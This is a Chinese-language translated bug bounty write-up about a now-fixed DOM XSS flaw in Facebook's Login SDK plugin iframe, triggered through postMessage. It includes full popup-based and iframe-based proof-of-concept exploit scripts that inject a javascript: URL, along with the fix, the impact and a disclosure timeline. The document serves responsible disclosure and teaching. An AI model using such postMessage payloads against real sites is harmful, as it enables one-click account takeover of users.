聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队

通过 postMessage造成的 DOM XSS 漏洞是一个被低估的漏洞,很多漏洞猎人基本不会注意这个漏洞。



最近,我开始查看客户端的漏洞而不是像往常那样查找公开的控制面板和凭证。

最开始时,我开始查找 XSSI、JSONP 和 postMessage问题。但XSSI 和 postMessage 漏洞极少能被人找到,自从 SameSite cookie 引入后这些漏洞就消失了。因此,我对查找 postMessage 漏洞更感兴趣,因为虽然基本上安全研究员会忽视这些漏洞,但很容易进行调试而无需绕过防火墙。

同时,为了更加便于调试,我创建了一个 Chrome 扩展来查看/记录页面上发生的窗口通信。通常来讲,网站在小部件、插件或 web SDK 上使用 iframe 通信。因此,当我在 Facebook 上查找 iframe 问题时,立即到https://developers.facebook.com 并开始研究 Facebook 的第三方插件。

我注意到,Facebook Login SDK forJavaScript 为跨域通信创建了一个代理iframe v6.0/plugins/login_button.php。代理框架渲染Continue with Facebook按钮。但有意思的是 javascript SDK 将一个 init payload 发送到代理框架中,其中包含该按钮的点击 URL。Login SDK 的流如下:

Third-Party website + (Facebook Login SDK for JavaScript)

 ↓

<iframe src='https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&button_type=continue_with&channel=REDIRECT_URL&sdk=joey'>
</iframe>

 ↓

The Facebook Javascript SDK sends the initial payload to the iframe proxy.
iframe.contentWindow.postMessage({"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'INT_ID',
'url':'https://www.facebook.com/v7.0/dialog/oauth?app_id=APP_ID&SOME_OTHER_PARAMS',
'size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971'screenWidth':1680}}})},"origin":"APP_DOMAIN"}, '*')

 ↓

When an user clicks Login with Facebook button,
window.open('https://www.facebook.com/v7.0/dialog/oauth?app_id=APP_ID')
happens on the proxy iframe. 
Which is the url from postMessage payload

The popup window sends the accesstoken and signed-request to the third-party website by 
window.opener.parent.postMessage(result, origin)

 

如果仔细查看该 payload,SDK 向 Facebook 插件发送 iframe。参数 param 下沉到一个变量 I 且当该按钮点击事件触发器时,如下函数得以执行。

i.url = i.url.replace(/cbt=\d+/, "cbt=" + a);
a = window.open(i.url, i.id, b("buildPopupFeatureString")(i));

当我看到这个 javascript 时,我当时的反应是“真的,我就知道会这样”!因为可通过window.open(‘javascript:alert(documentdomain)’)利用 DOM XSS,并且该 javascript 中并没有url/schema验证。

因此如果我们向https://www.facebook.com/v6.0/plugins/login_button.phpiframe发送带有https://www.facebook.com/v6.0/plugins/login_button.php的payload,用户点击continue with Facebook按钮,则 facebook.com 域名上会执行javascript:alert(document.domain)。

利用 iframe

利用该问题的方法有两种。

1、打开弹出窗口并与之进行通信。

2、打开一个 iframe 并与之通信。

弹出方法

<script>   
   var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1");
   
   setTimeout(function(){
        var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
        opener.postMessage(message, '*');
    },'4000');
</script>

Iframe 方法

由于这个端点有意缺失 ‘X-Frame-Options’ 或 CSP ‘frame-ancestors’标头,因此该页可被嵌入攻击者页面。

<script>
function fbFrameLoaded() {
  var iframeEl = document.getElementById('fbframe');
  var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
  iframeEl.contentWindow.postMessage(message, '*');
};
</script>
<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" onload="fbFrameLoaded(this)"></iframe>

修复方案

Facebook 通过在 payload 参数 url 中增加 facebook.com 正则表达式域名和图式检查的方式修复了这个漏洞。

 

影响

由于post信息配置不正确,如有人访问受攻击者控制的网站并点击“通过 Facebook 按钮登录”,则可以登录用户身份触发 facbook.com 域名上的 XSS。这可导致一次点击接管账户的后果。

时间轴

2020年4月17日:发送首份报告

2020年4月17日:证实报告问题

2020年4月20日:Facebook 推出修复方案

2020年4月29日:Facebook 确认修复方案

2020年5月1日:Facebook 颁发2万元奖金

相关参考资料请见:

  • https://javascript.info/cross-window-communication

  • https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/

  • https://ngailong.wordpress.com/2018/02/13/the-mystery-of-postmessage/





推荐阅读

我找到一个价值5.5万美元的 Facebook OAuth账户劫持漏洞

Facebook 紧急修复暴露页面管理员账户的 bug

原文链接

https://vinothkumar.me/20000-facebook-dom-xss/

题图:Pixabay License

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 www.codesafe.cn”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    点个 “在看” ,加油鸭~

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐